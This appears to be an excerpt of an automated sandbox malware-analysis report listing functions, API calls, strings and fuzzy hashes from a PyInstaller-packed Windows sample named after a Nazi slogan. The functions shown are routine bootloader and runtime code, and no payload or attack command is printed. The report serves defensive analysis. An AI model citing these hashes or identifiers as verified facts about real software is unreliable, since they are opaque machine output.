API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction ID: 8102a2354b22de0beb218e9c40ede504b4c952b5fd5cbce5b8658eff246ae12e
Opcode Fuzzy Hash: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction Fuzzy Hash: 5C21B721B08A4281E7418BFAE8561797250FF89F91F585330DE3ED73E9DE2CE5959300

Function 00007FF633D76290 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D762D3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D766C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D7695C

Strings

-, xrefs: 00007FF633D76369
f, xrefs: 00007FF633D763F5
p, xrefs: 00007FF633D763FD
p, xrefs: 00007FF633D76385
:, xrefs: 00007FF633D7648C

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: a1e15ba2d683aff4b89c6501d1bc6059eaef906aa9de14d71b9258e8bcd0fd10
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 2B12A372E0C24386FB645E94D1562BD76A2FB50754FC84235E68DA6BC4FF3CE980AB00

Function 00007FF633D70FC8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D71008
_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D713D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D7166F

Strings

p, xrefs: 00007FF633D710AD
f, xrefs: 00007FF633D7110A
p, xrefs: 00007FF633D71112
f, xrefs: 00007FF633D710A0
f, xrefs: 00007FF633D71255

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: 566f00aa2c38b411a9e5758c010c0e7eed45ca89efc92fd79a1817dff0e078d3
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: FA12B762E0C14386FB245E94E0466B977A1FB80794FD84335E69E97BC4DF3CE484AB00

Function 00007FF633D61050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to read data chunk!, xrefs: 00007FF633D611F6
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF633D610CC
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF633D61108
fseek, xrefs: 00007FF633D610D3
Failed to extract %s: failed to open archive file!, xrefs: 00007FF633D61098
fread, xrefs: 00007FF633D611FD
malloc, xrefs: 00007FF633D6110F

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 3201fc6698c0733d934283fdf0b7fc99b444569cb26fde5c5b53d3a473a789a2
Instruction ID: 51369ca1f2913a88d74bca2540edec8a31f8be4fd1f1aeef11c464701a6b4028
Opcode Fuzzy Hash: 3201fc6698c0733d934283fdf0b7fc99b444569cb26fde5c5b53d3a473a789a2
Instruction Fuzzy Hash: E841A861B0865282EA10DB91A8076B973A0FF44BC4F844632ED9CE7796DF3CF546A740

Function 00007FF633D61470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to read data chunk!, xrefs: 00007FF633D615DF
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF633D614DE
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF633D61518
fseek, xrefs: 00007FF633D614E5
Failed to extract %s: failed to open archive file!, xrefs: 00007FF633D6149F
fread, xrefs: 00007FF633D615E6
malloc, xrefs: 00007FF633D6151F

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: b7d9ed86abc52d5975ef8ae8469ac47edc22ad97562613f38df161424eb54398
Instruction ID: d4d2e6fea381ba84e704f53d4ba53531d05f7e933aa213446e06bfb832ffe5c8
Opcode Fuzzy Hash: b7d9ed86abc52d5975ef8ae8469ac47edc22ad97562613f38df161424eb54398
Instruction Fuzzy Hash: E241A031A0864286EB10DFA1D4125B9B3A0FF44794F844A32EDADA7B95DE3CE546A704

Function 00007FF633D6EA08 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF633D6EA65

Part of subcall function 00007FF633D6F9BC: __GetUnwindTryBlock.LIBCMT ref: 00007FF633D6F9FF
Part of subcall function 00007FF633D6F9BC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF633D6FA24

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF633D6EB3D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF633D6ED8B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF633D6EE98

Strings

csm, xrefs: 00007FF633D6EAE6
csm, xrefs: 00007FF633D6EB60
csm, xrefs: 00007FF633D6EA7F

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction ID: fb1b30cd20393363f9eab9516b10b03b0fc1f1707cefceac0430de3548b9ee72
Opcode Fuzzy Hash: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction Fuzzy Hash: 4CD1D432A08B4186EB20DFA5D5423AD37A0FB54788F900335EE5DA77AADF38E095D740

Function 00007FF633D62C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF633D63706,?,00007FF633D63804), ref: 00007FF633D62C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF633D63706,?,00007FF633D63804), ref: 00007FF633D62D63
MessageBoxW.USER32 ref: 00007FF633D62D99

Strings

Error, xrefs: 00007FF633D62D8C
%ls: , xrefs: 00007FF633D62D22
[PYI-%d:ERROR] , xrefs: 00007FF633D62CA6
<FormatMessageW failed.>, xrefs: 00007FF633D62D70

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction ID: e887b4e9ee61f3d6761854eb8504e09a25780305fe5106c886124e6aca3dbb07
Opcode Fuzzy Hash: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction Fuzzy Hash: 79310832708B4142E7209BA5B8152BA7791BF88B88F810236EF5DE7759EF3CE516D700

Function 00007FF633D6DCC8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF633D6DF7A,?,?,?,00007FF633D6DC6C,?,?,?,00007FF633D6D869), ref: 00007FF633D6DD4D
GetLastError.KERNEL32(?,?,?,00007FF633D6DF7A,?,?,?,00007FF633D6DC6C,?,?,?,00007FF633D6D869), ref: 00007FF633D6DD5B
LoadLibraryExW.KERNEL32(?,?,?,00007FF633D6DF7A,?,?,?,00007FF633D6DC6C,?,?,?,00007FF633D6D869), ref: 00007FF633D6DD85
FreeLibrary.KERNEL32(?,?,?,00007FF633D6DF7A,?,?,?,00007FF633D6DC6C,?,?,?,00007FF633D6D869), ref: 00007FF633D6DDF3
GetProcAddress.KERNEL32(?,?,?,00007FF633D6DF7A,?,?,?,00007FF633D6DC6C,?,?,?,00007FF633D6D869), ref: 00007FF633D6DDFF

Strings

api-ms-, xrefs: 00007FF633D6DD6D

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction ID: 1018d420bc4576bb4e78e3352b4c7e5d447be61324c602785fa081507e9a0f08
Opcode Fuzzy Hash: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction Fuzzy Hash: 3B31C121B1EB02D1EE11AB82A4026B53394FF48BA4F994735DD3DAB389EF3CE4449710

Function 00007FF633D66360 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF633D663C7
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF633D66407
LoadLibrary, xrefs: 00007FF633D664AE
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF633D66456
ucrtbase.dll, xrefs: 00007FF633D663DD
Failed to load Python DLL '%ls'., xrefs: 00007FF633D664A7

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 2df6df0904ecf2e68063807813f252f2c523520ae69ca8fe89000ee1ae80a761
Instruction ID: 1349cc8312471161d2379808559c6e6d0b30e26a3d080edb85694fb6660dab5b
Opcode Fuzzy Hash: 2df6df0904ecf2e68063807813f252f2c523520ae69ca8fe89000ee1ae80a761
Instruction Fuzzy Hash: 1E417131A1DA8691EA21DBA4E4162E97361FF44344FC00332EA6DA7795EF3CF519D740

Function 00007FF633D62A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF633D6351A,?,00000000,00007FF633D63F1B), ref: 00007FF633D62AA0

Strings

Warning, xrefs: 00007FF633D62B1E
Warning [ANSI Fallback], xrefs: 00007FF633D62B0F
[PYI-%d:%s] , xrefs: 00007FF633D62AA8
0, xrefs: 00007FF633D62B16
WARNING, xrefs: 00007FF633D62AAF

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction ID: 5e051762cfbcc9d9c02d9a40582793537229a18107c4dca1f2d83445d9370648
Opcode Fuzzy Hash: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction Fuzzy Hash: 5F21A33261978182E7209B91F8427E67394FB88784F800236FE9CA3759DF7CD1459740

Function 00007FF633D7B150 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF633D7B15F
FlsGetValue.KERNEL32 ref: 00007FF633D7B174
FlsSetValue.KERNEL32 ref: 00007FF633D7B195
FlsSetValue.KERNEL32 ref: 00007FF633D7B1C2
FlsSetValue.KERNEL32 ref: 00007FF633D7B1D3
FlsSetValue.KERNEL32 ref: 00007FF633D7B1E4
SetLastError.KERNEL32 ref: 00007FF633D7B1FF

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: a42b9cf7ed1ffe71ebcf97f5a72f2c90d2921d4b6bb9ef7954fc9d2fe8c6feaf
Instruction ID: 86d6940a3b2219007d66e191e412a291f70027244548114bd368ba9229ea2f96
Opcode Fuzzy Hash: a42b9cf7ed1ffe71ebcf97f5a72f2c90d2921d4b6bb9ef7954fc9d2fe8c6feaf
Instruction Fuzzy Hash: 8B215B20F0D24281FA686FE19A5323952525F447B0F144734ED3EFBBD6DE2CB455A300

Function 00007FF633D87D6C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF633D87D9D
GetLastError.KERNEL32 ref: 00007FF633D87DA9
CloseHandle.KERNEL32 ref: 00007FF633D87DC1
CreateFileW.KERNEL32 ref: 00007FF633D87DEC
WriteConsoleW.KERNEL32 ref: 00007FF633D87E0B

Strings

CONOUT$, xrefs: 00007FF633D87DCD

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction ID: af53bc2dcb930963b7421398c021bcd4b1365de1eeb1f8282b70542f2ad61348
Opcode Fuzzy Hash: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction Fuzzy Hash: 6711B621B18B4286E7508B92F85632963A0FB88FE4F040334EA6DDB7A4DF3CE9148740

Function 00007FF633D68ED0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,FFFFFFFF,00000000,00007FF633D63FA9), ref: 00007FF633D68EFD
K32EnumProcessModules.KERNEL32(?,FFFFFFFF,00000000,00007FF633D63FA9), ref: 00007FF633D68F5A

Part of subcall function 00007FF633D69390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF633D645F4,00000000,00007FF633D61985), ref: 00007FF633D693C9

K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF633D63FA9), ref: 00007FF633D68FE5
K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF633D63FA9), ref: 00007FF633D69044
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF633D63FA9), ref: 00007FF633D69055
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF633D63FA9), ref: 00007FF633D6906A

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 0184f5a771bb2c28f933eba3e4018dda16e38d059dd6d010c17659477659ba58
Instruction ID: 2cd8b1c69494db67d0b1a953af33810459aa8d9b5b5905be50cc7c462e16ab18
Opcode Fuzzy Hash: 0184f5a771bb2c28f933eba3e4018dda16e38d059dd6d010c17659477659ba58
Instruction Fuzzy Hash: 2141B961B19A8281EB309B91A5422BAB394FF85BC4F841235DF6EE7789DF3CE511D700

Function 00007FF633D7B2C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF633D74F11,?,?,?,?,00007FF633D7A48A,?,?,?,?,00007FF633D7718F), ref: 00007FF633D7B2D7
FlsSetValue.KERNEL32(?,?,?,00007FF633D74F11,?,?,?,?,00007FF633D7A48A,?,?,?,?,00007FF633D7718F), ref: 00007FF633D7B30D
FlsSetValue.KERNEL32(?,?,?,00007FF633D74F11,?,?,?,?,00007FF633D7A48A,?,?,?,?,00007FF633D7718F), ref: 00007FF633D7B33A
FlsSetValue.KERNEL32(?,?,?,00007FF633D74F11,?,?,?,?,00007FF633D7A48A,?,?,?,?,00007FF633D7718F), ref: 00007FF633D7B34B
FlsSetValue.KERNEL32(?,?,?,00007FF633D74F11,?,?,?,?,00007FF633D7A48A,?,?,?,?,00007FF633D7718F), ref: 00007FF633D7B35C
SetLastError.KERNEL32(?,?,?,00007FF633D74F11,?,?,?,?,00007FF633D7A48A,?,?,?,?,00007FF633D7718F), ref: 00007FF633D7B377

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 1c08c83365d44066401784e1b70b71c7670d14ff4fb682678828c33d1612b477
Instruction ID: 187532b38a27bdcbbcd2acae768bcb6fc113820c00d8ea0740a003fdd47af6c3
Opcode Fuzzy Hash: 1c08c83365d44066401784e1b70b71c7670d14ff4fb682678828c33d1612b477
Instruction Fuzzy Hash: CC114F20F0C64282FA686FA1965323D62569F45BB0F544734E93EFB7E6DE6CF4916300

Function 00007FF633D62910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF633D61B6A), ref: 00007FF633D6295E

Strings

Error, xrefs: 00007FF633D62A0E
Error [ANSI Fallback], xrefs: 00007FF633D629FF
%s: %s, xrefs: 00007FF633D629E8
[PYI-%d:ERROR] , xrefs: 00007FF633D62966

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction ID: afd009434f3403cab6d77ae120dfd1b90e560974ea6bd378f7d987ca72e5539d
Opcode Fuzzy Hash: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction Fuzzy Hash: 29310872B1968152E7209BA5A8426E77395BF887D8F800232FE9DE3755EF3CD146D700

Function 00007FF633D62390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF633D623C8
DialogBoxIndirectParamW.USER32 ref: 00007FF633D6248E
DeleteObject.GDI32 ref: 00007FF633D624C1
DestroyIcon.USER32 ref: 00007FF633D624D3

Strings

Unhandled exception in script, xrefs: 00007FF633D623F8

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
